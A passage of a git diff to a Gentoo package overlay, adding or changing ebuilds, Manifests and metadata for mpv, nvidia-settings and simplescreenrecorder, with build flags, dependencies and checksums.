+ ewarn "You've disabled the libass flag. No OSD or subtitles will be displayed."
+ fi
+
+ einfo "For additional format support you need to enable the support on your"
+ einfo "libavcodec/libavformat provider:"
+ einfo " media-video/libav or media-video/ffmpeg"
+}
+
+src_unpack() {
+ if [[ ${PV} == *9999* ]]; then
+ git-r3_src_unpack
+ else
+ default_src_unpack
+ fi
+
+ cp "${DISTDIR}"/waf-1.7.13 "${S}"/waf || die
+ chmod 0755 "${S}"/waf || die
+}
+
+src_prepare() {
+ base_src_prepare
+}
+
+src_configure() {
+ # keep build reproducible
+ # do not add -g to CFLAGS
+ # SDL output is fallback for platforms where nothing better is available
+ # media-sound/rsound is in pro-audio overlay only
+ waf-utils_src_configure \
+ --disable-build-date \
+ --disable-debug-build \
+ --disable-sdl1 \
+ --disable-sdl2 \
+ --disable-rsound \
+ $(use_enable encode encoding) \
+ $(use_enable joystick) \
+ $(use_enable bluray libbluray) \
+ $(use_enable vcd) \
+ $(use_enable quvi libquvi) \
+ $(use_enable samba libsmbclient) \
+ $(use_enable lirc) \
+ $(use_enable lua) \
+ $(usex luajit '--lua=luajit' '') \
+ $(use_enable doc-pdf pdf-build) \
+ $(use_enable vf-dlopen vf-dlopen-filters) \
+ $(use_enable cdio cdda) \
+ $(use_enable dvd dvdread) \
+ $(use_enable dvdnav) \
+ $(use_enable enca) \
+ $(use_enable iconv) \
+ $(use_enable libass) \
+ $(use_enable libguess) \
+ $(use_enable dvb) \
+ $(use_enable pvr) \
+ $(use_enable v4l libv4l2) \
+ $(use_enable v4l tv) \
+ $(use_enable v4l tv-v4l2) \
+ $(use_enable radio) \
+ $(use_enable radio radio-capture) \
+ $(use_enable radio radio-v4l2) \
+ $(use_enable mpg123) \
+ $(use_enable jpeg) \
+ $(use_enable libcaca caca) \
+ $(use_enable postproc libpostproc) \
+ $(use_enable alsa) \
+ $(use_enable jack) \
+ $(use_enable ladspa) \
+ $(use_enable portaudio) \
+ $(use_enable bs2b libbs2b) \
+ $(use_enable openal) \
+ $(use_enable oss oss-audio) \
+ $(use_enable pulseaudio pulse) \
+ $(use_enable shm) \
+ $(use_enable X x11) \
+ $(use_enable vaapi) \
+ $(use_enable vdpau) \
+ $(use_enable wayland) \
+ $(use_enable xinerama) \
+ $(use_enable xv) \
+ $(use_enable opengl gl) \
+ $(use_enable lcms lcms2) \
+ $(use_enable xscreensaver xss) \
+ --confdir="${EPREFIX}"/etc/${PN} \
+ --mandir="${EPREFIX}"/usr/share/man \
+ --docdir="${EPREFIX}"/usr/share/doc/${PF}
+}
+
+src_install() {
+ waf-utils_src_install
+
+ if use luajit; then
+ pax-mark -m "${ED}"usr/bin/mpv
+ fi
+}
diff --git a/media-video/nvidia-settings/Manifest b/media-video/nvidia-settings/Manifest
index 12d029f9..ec1a9d57 100644
--- a/media-video/nvidia-settings/Manifest
+++ b/media-video/nvidia-settings/Manifest
@@ -1,5 +1,3 @@
-AUX 95-nvidia-settings 54 SHA256 cbc6e8cae863b768b2ec570390e409476ec3ca1137006888810a9ec7f0029eb0 SHA512 de9edf678c64ca3d10c912397800b2cb651ef9108b33ece97a4cc1e86dad0a9e81986cca6b96cfe80740d9cb433de7ef93f29be45178db714ee408c7f6570ac7 WHIRLPOOL 032fbfd24378659f30b0ca2d653dff8fa09106aa55803740f22f82515251c099e9637310d420d909135e9f7850cb2890cf4abeac9d6a4b5e390a7d061462b13a
-AUX nvidia-autostart.desktop 227 SHA256 a2f55b8b6778de2343e16f3a5d6a38719c14220cdb02e0d83eaf12f9bcdb7cd3 SHA512 9e4f81a1085c0bb1e56142bc68050fc6a2e5823d728991745df50c62d161208dbb8f1e34770871161eebd2610fbfb0a64d683a05d8d236a326281770e612511d WHIRLPOOL 881b1934e6c8a094554cac3a16e9e733c5bca2e10eadaa3fe56fdc8a8e5145ba6c7f11bb9948f5d8e4b144eb41a4629a74a74dda0fa18f87ff4a00093fd0561d
DIST nvidia-settings-295.33.tar.bz2 1545933 SHA256 37128d2a90b22600c2df582c78dcc9d7c3cd1e26b2db8ab81a50a3fc3acfcdba SHA512 b1d6f3b3b679bc91b39259b8b0d03d33696f05ba700e07fd70d7e2a90f4708557a106315d43eba8fa771bcfdf270842e36a9b9f139189e571e8f4c463f3e7217 WHIRLPOOL bc56aac3c409ea398e00b03284ca18ba80373608c11d22c6c8b2bda574d12137ea84905054c094d0327198e71344fc203ab4cff23a5427ca16780f2f75fd8428
DIST nvidia-settings-295.40.tar.bz2 1545625 SHA256 68e8da979ef69b487a5ef237d7cc0f6d1d1cf3e027ffa2e90fa2501dc793d909 SHA512 3260cdfcb933833616ae5b97d6735135834947cc77f74bd2b7d8e2a7c4035fb5d848c9146421e4b9675d034d9008b0331545c9a5faf38f7cfd52c9aa5c50ac25 WHIRLPOOL 958bba15f9d2a62651bd9ad94f57c511d76c0a1b72a1565fdfd04f3758d5ff5f7b63b3a0b337b2388729ad4d12baf2ab2ccbd17b9f6c701c7b9bfd7c34b00da2
DIST nvidia-settings-302.07.tar.bz2 1479582 SHA256 4f4a163d277202f88e40289f1081df4e6d0b2a9b4133e9728ae10dcef5c7c784 SHA512 10ebae882740f4092ff00029add1ffd1716a6a346475e61269fd674f1bbae0919f4e573eaf8080cd9bf689be6c5bd69a645176d6e7a4ae6a6ec604ee215008a0 WHIRLPOOL 430f2414ff367ece40635beb9fa18d5ef94a356ff28dc256c3eeb184058a4baf76ab56e7f803ce8addd47674e2145e260cba65b48395556ad96e74de9ef1d9b4
@@ -9,12 +7,4 @@ DIST nvidia-settings-304.88.tar.bz2 1479968 SHA256 22d7c1eeb080ef5d3a99b57acfbd0
DIST nvidia-settings-310.19.tar.bz2 1482012 SHA256 1af2cd902c2adf261a6951b1d729523e515f37e45f86785675404fc58ec1c03a SHA512 fd3e376f6518e9e844e0fe7f2aecce18c03da0ebdfa67e41bc566614c89f9b284251e2e0841aa486ac8cb429c246e0b19c77773929ec1393f986bc267556ae84 WHIRLPOOL 2d3ff4a08d44a2abc31679e2779514b95de429cd1ec9e5ca865ef193ce64985dbe192e1e303f17c96dd84df2fa81eeabe1c7120945220ad17c26dc38e9e90f5a
DIST nvidia-settings-313.30.tar.bz2 1496166 SHA256 50c9eeb31d64310f3d49a9596dd582a7dc84f8911a93c7514c501912a944f960 SHA512 a6cbb9078d0d46ad5fc19026d5f2ec3100ddf731caa360e8586c23d7bedcb19998ddd2dc07806c871b58b79765b3dff902f25d69a27bd2c2f08afc6c70f1f1ef WHIRLPOOL 33b152e48a3692cc3efa5b2c10d47f624e0b89d915d30cc75eab3cae4ac3e691f3ab656993377fc6e7f06bc327126252d83d3d6b3f0e89fc4d207ccc057a1f5b
DIST nvidia-settings-325.15.tar.bz2 1541319 SHA256 e7dabddf1240bcbe2990a470defba480d619cd97fa1c0ef4e28653c689be0b03 SHA512 ccb5808fcd2d34cb7fb6cdb2e081bbebb3ced5d53c296cabac76685e6612faffc20609a6e4cdbd4170a3a72b3487f8520df799342004914a42b8dfb69d8d5fc0 WHIRLPOOL 8ad4be1357358c0e7ac6cdf4247f216ac7598f804ec74285a3fe02f51a41cc35742d043dc56feee82bb2099e598a1a13eb2d1a7bab8c72e922aee495b017f34e
-EBUILD nvidia-settings-295.33.ebuild 2149 SHA256 c8d5dd2f4e32d98f29f0763c0a4fc8148224e5e447913f1346fea580daf1b8e3 SHA512 38ec460aa7369672dc8257f2d8142491836a15f14640a94991cfc54c1629459331be2c88feecee73c6855bb2ef0ac04b9b9c66a76cfbb8cec96b24b5ec1476d0 WHIRLPOOL 3401d06502690bf17e632f0f2183639eae496d448142994320e900c2e2befb57572579f439f74f3166c0130d6a4f2bd91bc810ee670238f994c9f47f8e4d6f2e
-EBUILD nvidia-settings-295.40.ebuild 2149 SHA256 c8d5dd2f4e32d98f29f0763c0a4fc8148224e5e447913f1346fea580daf1b8e3 SHA512 38ec460aa7369672dc8257f2d8142491836a15f14640a94991cfc54c1629459331be2c88feecee73c6855bb2ef0ac04b9b9c66a76cfbb8cec96b24b5ec1476d0 WHIRLPOOL 3401d06502690bf17e632f0f2183639eae496d448142994320e900c2e2befb57572579f439f74f3166c0130d6a4f2bd91bc810ee670238f994c9f47f8e4d6f2e
-EBUILD nvidia-settings-302.07.ebuild 2149 SHA256 c8d5dd2f4e32d98f29f0763c0a4fc8148224e5e447913f1346fea580daf1b8e3 SHA512 38ec460aa7369672dc8257f2d8142491836a15f14640a94991cfc54c1629459331be2c88feecee73c6855bb2ef0ac04b9b9c66a76cfbb8cec96b24b5ec1476d0 WHIRLPOOL 3401d06502690bf17e632f0f2183639eae496d448142994320e900c2e2befb57572579f439f74f3166c0130d6a4f2bd91bc810ee670238f994c9f47f8e4d6f2e
-EBUILD nvidia-settings-304.22.ebuild 1558 SHA256 5c5cef6cb2ec65a5243755dd39b427ed89ec3417c91090708f849101aff37edd SHA512 4dc73ea79b8fa4c202ca0e0c75ef76178e8a79e178ea0792d7a9e4d83c372ca84d6e5a0d7d859a93b23446fc321eebf2357a25e6b0fed1a2a0f32e6f9bb50f1d WHIRLPOOL 4b7c0e4fb81d97edcd9ba4f4e793e2f192be61dbee120c9247b126d5ec906b9859f409cc03b136f1e71f2fd9151de73ed4af50b4d080cb7ca1343140215a9e2a
-EBUILD nvidia-settings-304.60.ebuild 1666 SHA256 c36d08361b8c902b6a6df840f2f368c9c6107d299921fcfc21d6be00dd9b3c0e SHA512 81604aa64d62afb3bf20b4333d2d86ad686d162f21551fb13a154be64eef8f864f918c455c0d5564a4e84c46a0ae8f1d4185556ee5faa0c627531a031339a42e WHIRLPOOL 57fd85225ca9cbadb164d2c7cf894133d286d44e9ea052844d095482aae61d297f10e3a920e263d3f51a8231cdcc179650f3e14b68ff60c5c99ee51ad9a89e1b
-EBUILD nvidia-settings-304.88.ebuild 2124 SHA256 d17f2f904fefa91652133d443ad7f2798fe636eecc6ee2c61842c8f312be93a9 SHA512 52f3adc00efe2d700c9bd806182722380a5c5f280455530131df381e2fa0fe88e4471dbf840051fe8b446336794db96421b0e2125393703ec4964bde1e997282 WHIRLPOOL 47171584629f1d701575453f882eb66eb7d0dcdc6ba513c36ed71994b270a78d9609f82b83124995a8a5d00cdbb1d26d6d53623b658b78d91a4446b7ee51a448
-EBUILD nvidia-settings-310.19.ebuild 1558 SHA256 5c5cef6cb2ec65a5243755dd39b427ed89ec3417c91090708f849101aff37edd SHA512 4dc73ea79b8fa4c202ca0e0c75ef76178e8a79e178ea0792d7a9e4d83c372ca84d6e5a0d7d859a93b23446fc321eebf2357a25e6b0fed1a2a0f32e6f9bb50f1d WHIRLPOOL 4b7c0e4fb81d97edcd9ba4f4e793e2f192be61dbee120c9247b126d5ec906b9859f409cc03b136f1e71f2fd9151de73ed4af50b4d080cb7ca1343140215a9e2a
-EBUILD nvidia-settings-313.30.ebuild 2003 SHA256 0e930e57bac62e0d8f1a2df56fe3d5e9c1fca5cb9fa7352874bd103ac31a44db SHA512 c3bc593587cddc9ca02736d6a641a7e7404e5227fb8b5828b7124854d35f59cc8db0795ea9b4baa2d06f975d5c1a8b8060e3b53d204baea511c2cfca4a476553 WHIRLPOOL bae876400f73691aa96435bab9e245813e900e9a91edbf85aef650f9733b108bfb56381a1a91a0426fd830da41e68ac407ffa9dc06af81d6e0a3cc39a7988410
-EBUILD nvidia-settings-325.15.ebuild 2028 SHA256 da27bdb190b3e53a423923ce7cffea8c45c1084b746624203ad6aa34dd3c627a SHA512 29a7dd16ae1b025466bcdca2d1863ccacacd7af7398615940abd8f797c472d05a34f3d269c8be939cb8de43cee66954691195933f691186d4a52771e9390aa35 WHIRLPOOL 9749983650382375a08945d65b9e8f056a29ca9ff58551718b546e561ba70117da6058723287ec612b0ec910ff3a9e6cf0d818bb3ccd4239bea0958bb46acc46
+DIST nvidia-settings-331.49.tar.bz2 1545177 SHA256 a9ba53d2c811d28fc1d6dd6131a2fdba44160c32d792f77e55cc834ca3205510 SHA512 6de9ae7fb7758ae93782608456f06a9ddab8cf91c885920ac99365a609e257a01dca9e03e5517bbc8383d799f09cf3455e66ccb6e553e477262591cb89390f74 WHIRLPOOL f9576a00cbfc2efc5d84a8a0178d6976674666fe941aef31d52852c26b99936fbc2178c21948624bc16cf4ca8991eb9bb7e6a704650f493c23b8e612ed417128
diff --git a/media-video/nvidia-settings/nvidia-settings-331.49.ebuild b/media-video/nvidia-settings/nvidia-settings-331.49.ebuild
new file mode 100644
index 00000000..fd52276f
--- /dev/null
+++ b/media-video/nvidia-settings/nvidia-settings-331.49.ebuild
@@ -0,0 +1,76 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils toolchain-funcs multilib flag-o-matic
+
+DESCRIPTION="NVIDIA Linux X11 Settings Utility"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE=""
+
+# xorg-server is used in the depends as nvidia-settings builds against some
+# headers in /usr/include/xorg/.
+# This also allows us to optimize out a lot of the other dependancies, as
+# between gtk and xorg-server, almost all libraries and headers are accounted
+# for.
+DEPEND=">=x11-libs/gtk+-2:2
+ dev-util/pkgconfig
+ x11-base/xorg-server
+ x11-libs/libXt
+ x11-libs/libXv
+ x11-proto/xf86driproto
+ x11-proto/xf86vidmodeproto"
+
+RDEPEND=">=x11-libs/gtk+-2:2
+ x11-base/xorg-server
+ x11-libs/libXt
+ x11-libs/pango[X]"
+
+src_compile() {
+ einfo "Building libXNVCtrl..."
+ emake -C src/libXNVCtrl/ clean # NVidia ships pre-built archives :(
+ emake -C src/libXNVCtrl/ \
+ CC="$(tc-getCC)" \
+ AR="$(tc-getAR)" \
+ RANLIB="$(tc-getRANLIB)" \
+ libXNVCtrl.a
+
+ einfo "Building nvidia-settings..."
+ emake -C src/ \
+ CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" \
+ STRIP_CMD="$(type -P true)" \
+ NV_VERBOSE=1 \
+ USE_EXTERNAL_JANSSON=1
+}
+
+src_install() {
+ emake -C src/ DESTDIR="${D}" PREFIX=/usr USE_EXTERNAL_JANSSON=1 install
+
+ insinto /usr/$(get_libdir)
+ doins src/libXNVCtrl/libXNVCtrl.a
+
+ insinto /usr/include/NVCtrl
+ doins src/libXNVCtrl/*.h
+
+ doicon doc/${PN}.png
+ make_desktop_entry ${PN} "NVIDIA X Server Settings" ${PN} Settings
+
+ dodoc doc/*.txt
+
+ # Install icon and .desktop entry
+ doicon "${S}/doc/${PN}.png"
+ sed -i "s:__UTILS_PATH__:/usr/bin:" "${S}/doc/${PN}.desktop"
+ sed -i "s:__PIXMAP_PATH__:/usr/share/pixmaps:" "${S}/doc/${PN}.desktop"
+ sed -i "s:__NVIDIA_SETTINGS_DESKTOP_CATEGORIES__:Utility:" "${S}/doc/${PN}.desktop"
+ domenu "${S}/doc/${PN}.desktop"
+ exeinto /etc/X11/xinit/xinitrc.d
+ doexe "${FILESDIR}"/95-nvidia-settings
+}
diff --git a/media-video/simplescreenrecorder/Manifest b/media-video/simplescreenrecorder/Manifest
new file mode 100644
index 00000000..ae6a4426
--- /dev/null
+++ b/media-video/simplescreenrecorder/Manifest
@@ -0,0 +1,2 @@
+DIST 0.2.0.tar.gz 1177716 SHA256 e958e0afc6633a8ad3ba3e7712dec2015e2f348a43b1d70a657ea04dcd90cc56 SHA512 467fe9a437244033d29cab5ce40446873d5a7908a0cd9ec094dfc21c3a44ef4127ba441e51bbd0fa9ac99e524cbb615efb6fbf61176fbb1fe77342687c4dc925 WHIRLPOOL 20e5e61634ef307eafe840e1bd77d50fcee836739ae3c9cb59d7fb71c20edf049fc5492bb2a72e7f4d0f125ad12a1cb222f3bce2cc9d3e5a897c2a120ae435f0
+DIST 0.2.1.tar.gz 1177723 SHA256 257e856c45209452bbda8c21a99e92248ae81dc6dafb02e08bf8d5f7bda4a452 SHA512 9c752cfe7b4dfe6afca2e13abdf5ddb20073c3878dbc08aa0cbfa1403c02eff66a34a55c75c0fff8fe719cadf5a29f32d115ec5c2af0b9b0a0f754c85e22a336 WHIRLPOOL e9fe0ea37bc607158c4ad371d649acef595a7678fdffc98ad18ae5d3753815bbe41bf7c7bf6fc60bc96a72e0b7b5d677cb035d6414a6ee9d325519e7f8af7bbe
diff --git a/media-video/simplescreenrecorder/metadata.xml b/media-video/simplescreenrecorder/metadata.xml
new file mode 100644
index 00000000..d846dd0a
--- /dev/null
+++ b/media-video/simplescreenrecorder/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <use>
+ <flag name="vpx">Enables vp8 codec support using libvpx from ffmpeg/libav</flag>
+ </use>
+</pkgmetadata>
diff --git a/media-video/simplescreenrecorder/simplescreenrecorder-0.2.0-r1.ebuild b/media-video/simplescreenrecorder/simplescreenrecorder-0.2.0-r1.ebuild
new file mode 100644
index 00000000..5692941a
--- /dev/null
+++ b/media-video/simplescreenrecorder/simplescreenrecorder-0.2.0-r1.ebuild
@@ -0,0 +1,99 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+inherit autotools multilib-minimal
+
+if [[ ${PV} = 9999 ]]; then
+ inherit git-2
+fi
+
+DESCRIPTION="A Simple Screen Recorder"
+HOMEPAGE="http://www.maartenbaert.be/simplescreenrecorder"
+LICENSE="GPL-3"
+PKGNAME="ssr"
+S=${WORKDIR}/${PKGNAME}-${PV}
+if [[ ${PV} = 9999 ]]; then
+ EGIT_REPO_URI="git://github.com/MaartenBaert/${PKGNAME}.git
+ https://github.com/MaartenBaert/${PKGNAME}.git"
+ EGIT_BOOTSTRAP="eautoreconf"
+ KEYWORDS="~amd64 ~x86"
+else
+ SRC_URI="https://github.com/MaartenBaert/${PKGNAME}/archive/${PV}.tar.gz"
+ KEYWORDS="amd64 x86"
+fi
+
+SLOT="0"
+IUSE="debug jack mp3 pulseaudio theora vorbis vpx x264"
+
+RDEPEND="
+ dev-qt/qtcore
+ dev-qt/qtgui
+ virtual/glu
+ media-libs/alsa-lib
+ media-libs/mesa
+ x11-libs/libX11
+ x11-libs/libXext
+ x11-libs/libXfixes
+ abi_x86_32? (
+ app-emulation/emul-linux-x86-opengl
+ app-emulation/emul-linux-x86-xlibs
+ )
+ jack? ( media-sound/jack-audio-connection-kit )
+ pulseaudio? ( media-sound/pulseaudio )
+ || (
+ media-video/ffmpeg[vorbis?,vpx?,x264?,mp3?,theora?]
+ media-video/libav[vorbis?,vpx?,x264?,mp3?,theora?]
+ )
+ "
+DEPEND="${RDEPEND}"
+
+pkg_setup() {
+ if [[ ${PV} == "9999" ]]; then
+ elog
+ elog "This ebuild merges the latest revision available from upstream's"
+ elog "git repository, and might fail to compile or work properly once"
+ elog "merged."
+ elog
+ fi
+
+ if [[ ${ABI} == amd64 ]]; then
+ elog "You may want to add USE flag 'abi_x86_32' when running a 64bit system"
+ elog "When added 32bit GLInject libraries are also included. This is"
+ elog "required if you want to use OpenGL recording on 32bit applications."
+ elog
+ fi
+
+ if ( has_version media-video/ffmpeg[x264] || has_version media-video/libav[x264] ) && has_version media-libs/x264[10bit]; then
+ ewarn
+ ewarn "media-libs/x264 is currently built with 10bit useflag."
+ ewarn "This is known to prevent simplescreenrecorder from recording x264 videos"
+ ewarn "correctly. Please build media-libs/x264 without 10bit if you want to "
+ ewarn "record videos with x264."
+ ewarn
+ fi
+}
+
+multilib_src_configure() {
+ local myconf=( --enable-dependency-tracking )
+
+ if multilib_build_binaries; then
+ myconf+=(
+ $(use_enable debug assert)
+ $(use_enable pulseaudio)
+ $(use_enable jack)
+ )
+ else
+ myconf+=(
+ --disable-assert
+ --disable-pulseaudio
+ --disable-jack
+ --disable-ssrprogram
+ )
+ fi
+
+ ECONF_SOURCE=${S} \
+ econf ${myconf[@]}
+}
diff --git a/media-video/simplescreenrecorder/simplescreenrecorder-0.2.0-r2.ebuild b/media-video/simplescreenrecorder/simplescreenrecorder-0.2.0-r2.ebuild
new file mode 100644
index 00000000..edae685a
--- /dev/null
+++ b/media-video/simplescreenrecorder/simplescreenrecorder-0.2.0-r2.ebuild
@@ -0,0 +1,95 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+inherit autotools multilib-minimal
+
+if [[ ${PV} = 9999 ]]; then
+ inherit git-2
+fi
+
+DESCRIPTION="A Simple Screen Recorder"
+HOMEPAGE="http://www.maartenbaert.be/simplescreenrecorder"
+LICENSE="GPL-3"
+PKGNAME="ssr"
+S=${WORKDIR}/${PKGNAME}-${PV}
+if [[ ${PV} = 9999 ]]; then
+ EGIT_REPO_URI="git://github.com/MaartenBaert/${PKGNAME}.git
+ https://github.com/MaartenBaert/${PKGNAME}.git"
+ EGIT_BOOTSTRAP=""
+ KEYWORDS=""
+else
+ SRC_URI="https://github.com/MaartenBaert/${PKGNAME}/archive/${PV}.tar.gz"
+ KEYWORDS="~amd64 ~x86"
+fi
+
+SLOT="0"
+IUSE="debug jack mp3 pulseaudio theora vorbis vpx x264"
+
+RDEPEND="
+ dev-qt/qtcore
+ dev-qt/qtgui
+ virtual/glu[${MULTILIB_USEDEP}]
+ media-libs/alsa-lib
+ media-libs/mesa[${MULTILIB_USEDEP}]
+ x11-libs/libX11[${MULTILIB_USEDEP}]
+ x11-libs/libXext
+ x11-libs/libXfixes[${MULTILIB_USEDEP}]
+ jack? ( media-sound/jack-audio-connection-kit )
+ pulseaudio? ( media-sound/pulseaudio )
+ || (
+ media-video/ffmpeg[vorbis?,vpx?,x264?,mp3?,theora?]
+ media-video/libav[vorbis?,vpx?,x264?,mp3?,theora?]
+ )
+ "
+DEPEND="${RDEPEND}"
+
+pkg_setup() {
+ if [[ ${PV} == "9999" ]]; then
+ elog
+ elog "This ebuild merges the latest revision available from upstream's"
+ elog "git repository, and might fail to compile or work properly once"
+ elog "merged."
+ elog
+ fi
+
+ if [[ ${ABI} == amd64 ]]; then
+ elog "You may want to add USE flag 'abi_x86_32' when running a 64bit system"
+ elog "When added 32bit GLInject libraries are also included. This is"
+ elog "required if you want to use OpenGL recording on 32bit applications."
+ elog
+ fi
+
+ if ( has_version media-video/ffmpeg[x264] || has_version media-video/libav[x264] ) && has_version media-libs/x264[10bit]; then
+ ewarn
+ ewarn "media-libs/x264 is currently built with 10bit useflag."
+ ewarn "This is known to prevent simplescreenrecorder from recording x264 videos"
+ ewarn "correctly. Please build media-libs/x264 without 10bit if you want to "
+ ewarn "record videos with x264."
+ ewarn
+ fi
+}
+
+multilib_src_configure() {
+ local myconf=( --enable-dependency-tracking )
+
+ if multilib_build_binaries; then
+ myconf+=(
+ $(use_enable debug assert)
+ $(use_enable pulseaudio)
+ $(use_enable jack)
+ )
+ else
+ myconf+=(
+ --disable-assert
+ --disable-pulseaudio
+ --disable-jack
+ --disable-ssrprogram
+ )
+ fi
+
+ ECONF_SOURCE=${S} \
+ econf ${myconf[@]}
+}
diff --git a/media-video/simplescreenrecorder/simplescreenrecorder-0.2.0.ebuild b/media-video/simplescreenrecorder/simplescreenrecorder-0.2.0.ebuild
new file mode 100644
index 00000000..edae685a
--- /dev/null
+++ b/media-video/simplescreenrecorder/simplescreenrecorder-0.2.0.ebuild
@@ -0,0 +1,95 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+inherit autotools multilib-minimal
+
+if [[ ${PV} = 9999 ]]; then
+ inherit git-2
+fi
+
+DESCRIPTION="A Simple Screen Recorder"
+HOMEPAGE="http://www.maartenbaert.be/simplescreenrecorder"
+LICENSE="GPL-3"
+PKGNAME="ssr"
+S=${WORKDIR}/${PKGNAME}-${PV}
+if [[ ${PV} = 9999 ]]; then
+ EGIT_REPO_URI="git://github.com/MaartenBaert/${PKGNAME}.git
+ https://github.com/MaartenBaert/${PKGNAME}.git"
+ EGIT_BOOTSTRAP=""
+ KEYWORDS=""
+else
+ SRC_URI="https://github.com/MaartenBaert/${PKGNAME}/archive/${PV}.tar.gz"
+ KEYWORDS="~amd64 ~x86"
+fi
+
+SLOT="0"
+IUSE="debug jack mp3 pulseaudio theora vorbis vpx x264"
+
+RDEPEND="
+ dev-qt/qtcore
+ dev-qt/qtgui
+ virtual/glu[${MULTILIB_USEDEP}]
+ media-libs/alsa-lib
+ media-libs/mesa[${MULTILIB_USEDEP}]
+ x11-libs/libX11[${MULTILIB_USEDEP}]
+ x11-libs/libXext
+ x11-libs/libXfixes[${MULTILIB_USEDEP}]
+ jack? ( media-sound/jack-audio-connection-kit )
+ pulseaudio? ( media-sound/pulseaudio )
+ || (
+ media-video/ffmpeg[vorbis?,vpx?,x264?,mp3?,theora?]
+ media-video/libav[vorbis?,vpx?,x264?,mp3?,theora?]
+ )
+ "
+DEPEND="${RDEPEND}"
+
+pkg_setup() {
+ if [[ ${PV} == "9999" ]]; then
+ elog
+ elog "This ebuild merges the latest revision available from upstream's"
+ elog "git repository, and might fail to compile or work properly once"
+ elog "merged."
+ elog
+ fi
+
+ if [[ ${ABI} == amd64 ]]; then
+ elog "You may want to add USE flag 'abi_x86_32' when running a 64bit system"
+ elog "When added 32bit GLInject libraries are also included. This is"
+ elog "required if you want to use OpenGL recording on 32bit applications."
+ elog
+ fi
+
+ if ( has_version media-video/ffmpeg[x264] || has_version media-video/libav[x264] ) && has_version media-libs/x264[10bit]; then
+ ewarn
+ ewarn "media-libs/x264 is currently built with 10bit useflag."
+ ewarn "This is known to prevent simplescreenrecorder from recording x264 videos"
+ ewarn "correctly. Please build media-libs/x264 without 10bit if you want to "
+ ewarn "record videos with x264."
+ ewarn
+ fi
+}
+
+multilib_src_configure() {
+ local myconf=( --enable-dependency-tracking )
+
+ if multilib_build_binaries; then
+ myconf+=(
+ $(use_enable debug assert)
+ $(use_enable pulseaudio)
+ $(use_enable jack)
+ )
+ else
+ myconf+=(
+ --disable-assert
+ --disable-pulseaudio
+ --disable-jack
+ --disable-ssrprogram
+ )
+ fi
+
+ ECONF_SOURCE=${S} \
+ econf ${myconf[@]}
+}
diff --git a/media-video/simplescreenrecorder/simplescreenrecorder-0.2.1-r1.ebuild b/media-video/simplescreenrecorder/simplescreenrecorder-0.2.1-r1.ebuild
new file mode 100644
index 00000000..edae685a
--- /dev/null
+++ b/media-video/simplescreenrecorder/simplescreenrecorder-0.2.1-r1.ebuild
@@ -0,0 +1,95 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+inherit autotools multilib-minimal
+
+if [[ ${PV} = 9999 ]]; then
+ inherit git-2
+fi
+
+DESCRIPTION="A Simple Screen Recorder"
+HOMEPAGE="http://www.maartenbaert.be/simplescreenrecorder"
+LICENSE="GPL-3"
+PKGNAME="ssr"
+S=${WORKDIR}/${PKGNAME}-${PV}
+if [[ ${PV} = 9999 ]]; then
+ EGIT_REPO_URI="git://github.com/MaartenBaert/${PKGNAME}.git
+ https://github.com/MaartenBaert/${PKGNAME}.git"
+ EGIT_BOOTSTRAP=""
+ KEYWORDS=""
+else
+ SRC_URI="https://github.com/MaartenBaert/${PKGNAME}/archive/${PV}.tar.gz"
+ KEYWORDS="~amd64 ~x86"
+fi
+
+SLOT="0"
+IUSE="debug jack mp3 pulseaudio theora vorbis vpx x264"
+
+RDEPEND="
+ dev-qt/qtcore
+ dev-qt/qtgui
+ virtual/glu[${MULTILIB_USEDEP}]
+ media-libs/alsa-lib
+ media-libs/mesa[${MULTILIB_USEDEP}]
+ x11-libs/libX11[${MULTILIB_USEDEP}]
+ x11-libs/libXext
+ x11-libs/libXfixes[${MULTILIB_USEDEP}]
+ jack? ( media-sound/jack-audio-connection-kit )
+ pulseaudio? ( media-sound/pulseaudio )
+ || (
+ media-video/ffmpeg[vorbis?,vpx?,x264?,mp3?,theora?]
+ media-video/libav[vorbis?,vpx?,x264?,mp3?,theora?]
+ )
+ "
+DEPEND="${RDEPEND}"
+
+pkg_setup() {
+ if [[ ${PV} == "9999" ]]; then
+ elog
+ elog "This ebuild merges the latest revision available from upstream's"
+ elog "git repository, and might fail to compile or work properly once"
+ elog "merged."
+ elog
+ fi
+
+ if [[ ${ABI} == amd64 ]]; then
+ elog "You may want to add USE flag 'abi_x86_32' when running a 64bit system"
+ elog "When added 32bit GLInject libraries are also included. This is"
+ elog "required if you want to use OpenGL recording on 32bit applications."
+ elog
+ fi
+
+ if ( has_version media-video/ffmpeg[x264] || has_version media-video/libav[x264] ) && has_version media-libs/x264[10bit]; then
+ ewarn
+ ewarn "media-libs/x264 is currently built with 10bit useflag."
+ ewarn "This is known to prevent simplescreenrecorder from recording x264 videos"
+ ewarn "correctly. Please build media-libs/x264 without 10bit if you want to "
+ ewarn "record videos with x264."
+ ewarn
+ fi
+}
+
+multilib_src_configure() {
+ local myconf=( --enable-dependency-tracking )
+
+ if multilib_build_binaries; then
+ myconf+=(
+ $(use_enable debug assert)
+ $(use_enable pulseaudio)
+ $(use_enable jack)
+ )
+ else
+ myconf+=(
+ --disable-assert
+ --disable-pulseaudio
+ --disable-jack
+ --disable-ssrprogram
+ )
+ fi
+
+ ECONF_SOURCE=${S} \
+ econf ${myconf[@]}
+}
diff --git a/media-video/simplescreenrecorder/simplescreenrecorder-0.2.1.ebuild b/media-video/simplescreenrecorder/simplescreenrecorder-0.2.1.ebuild
new file mode 100644
index 00000000..5692941a
